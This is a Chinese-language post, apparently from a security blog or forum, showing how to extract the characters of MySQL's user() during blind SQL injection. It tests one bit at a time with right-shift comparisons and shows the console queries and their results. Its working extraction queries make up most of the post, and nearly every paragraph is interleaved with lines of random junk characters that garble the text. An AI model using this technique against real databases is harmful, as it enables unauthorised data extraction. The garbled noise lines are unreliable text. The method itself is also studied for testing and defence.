关于通过对8bit的ascii做右位移提高mysql盲注效率

admin

通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位

. g1 z% b' {5 C

. o" l& F' n( d1 W下面将以查询mysql数据库当中user()的第一位为例:

# V. `+ M; ?- c; s3 J
- g' O: G1 e% O1 S# C# E
$ g1 \3 P7 x: o# Q; I2 U+ aps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)
, F$ V2 N  U" V- U1 r


3 \: j& \# C" G( s; @: G首先执行如下sql语句:
7 v7 a: [1 ]6 v3 d) k6 o0 O6 m
: z; a% ?: M. e' ^( m

9 D' r+ A2 W/ @: v$ Pmysql> select (ascii((substr(user(),1,1))) >> 7)=0;


: x: R! r4 y2 B) R8 p4 c* O7 i* J7 A
我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的

! ~1 h& C' ], j. a

第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1


0 j) g6 w# R. Z/ y  b
如果运算结果为1,说明第一位为0,不为1
$ m1 T; O' E" P" S7 v


+————————————–+
: ]( h. ^$ _/ C. ?5 _: ?* T
2 g5 _! Q+ }( {. h" {| (ascii((substr(user(),1,1))) >> 7)=0 |
( N7 w8 ?% }- W  q
+————————————–+

2 B1 j9 S5 o1 F: s, P7 @9 D| 1 |
' |9 F1 a+ F" J' z
+————————————–+

1 row in set (0.00 sec)
" F; z3 e3 a! l, t6 N& b9 P
0 @' a& [5 u5 h/ o4 B+ d" K这样我们就确定这个8bit的ascii的第一位为0

" K) l  G' X' a
( H5 P9 ~; g4 m3 q2 X- b4 s
% g+ Y0 X& ]( \) N: i& \第二次我们来做6次右偏移来确定前两位
4 \: K- l2 Z. P; c' t


前两位可能是01或00,即依然可以与0做比较,

mysql> select (ascii((substr(user(),1,1))) >> 6)=0;

+ u3 q/ Y0 Q0 d5 R+————————————–+
8 m% _+ R3 o: F4 x- {  o6 d4 z  {* l. f
| (ascii((substr(user(),1,1))) >> 6)=0 |
& n9 z9 h+ ^* V1 |3 I- a
/ i! Y1 t0 E1 T% o+ B+————————————–+

| 0 |

4 g; W" G9 T: x% x8 L' }+————————————–+

1 row in set (0.00 sec)


+ M; o" J4 ]+ A# Y! ?* F# F" b
# I+ a- e& h. ?5 h) q7 N0 X结果为0,即第二位为1
/ H9 F! z' Q# I9 m! y" n( t' ?
  w5 |, `2 {) _$ ?$ `4 g; @
1 m/ j9 L: ^8 e$ p. p0 x, v. l
) n( K. y; M' Y/ X  |开始猜测前三位为010或011
5 F: o7 s/ }" o- n: j
3 i: y; N- H+ P' W
$ Z  I) r$ O6 n5 L4 J- v* C
让我们看看010和011的ascii码是多少

. w  c. N" L/ q; h# b

分别查询select b’011′ select b’010′

5 d6 X: _0 ~8 P/ f  n. h& E

获得结果 010 = 2 011 = 3
5 u. i- N7 C- v
  Z! b$ O  b' Y5 f* y% P
8 U% R5 Q1 m* \6 \1 _
# _( @) i) O# ?" h3 p, R, F执行如下sql:
. k+ Y7 _' Z* o2 P1 M& v
0 e  e9 K/ f( l- T6 G

mysql> select (ascii((substr(user(),1,1))) >> 5)=2;

; Q$ |3 O: e% T5 P+ M  Z  s+————————————–+

" S! {$ ^  D7 O& @& S; y| (ascii((substr(user(),1,1))) >> 5)=2 |
+ z* c! `* s  _% n
+————————————–+
/ X' u3 S7 v* \# ^1 n6 `( d# Z
| 0 |

; O2 N% z- v2 A6 `9 }( O! ?+————————————–+

即前三位不为010,而是011


3 M  p1 Y$ l8 {- u% j* k# k
% D) p9 {+ i3 l  e" T直到获得最后一位



5 r$ U8 w% K+ Z* L最终结果为:01110010
! W6 m: J. r2 p


7 ~4 \0 ]5 ~- \) B: }3 h转换一下:



select b’01110010′

  i+ g7 {3 b1 }' U  [

查询结果
! v/ X5 H4 ]- R: f, c( O
  o7 ~' j, I" }1 h

+————-+

5 |* v. Y% N( k# T| b’01110010′ |
# f  ]1 Z: j( y  v& b$ I3 T+ S3 |
* R% ^5 T% Y! ]- Y9 }) [+————-+
3 \  I: q( ]: i& B! A! i7 ~! E8 N
| r |
7 t6 v/ |4 W* T$ @0 V, s
0 T/ Y8 Y6 N, E. ?8 Y+————-+
) m! e8 X" z. u  N3 {: e! C9 E
1 row in set (0.00 sec)

, m2 r9 u' {1 S7 {4 t. v
9 m& g# r: K& w6 r& N- Q0 }$ y
这样我们就获得了user()的第一位.其它位依此类推

$ R* e( n0 L% Z! V. p+ w& g) g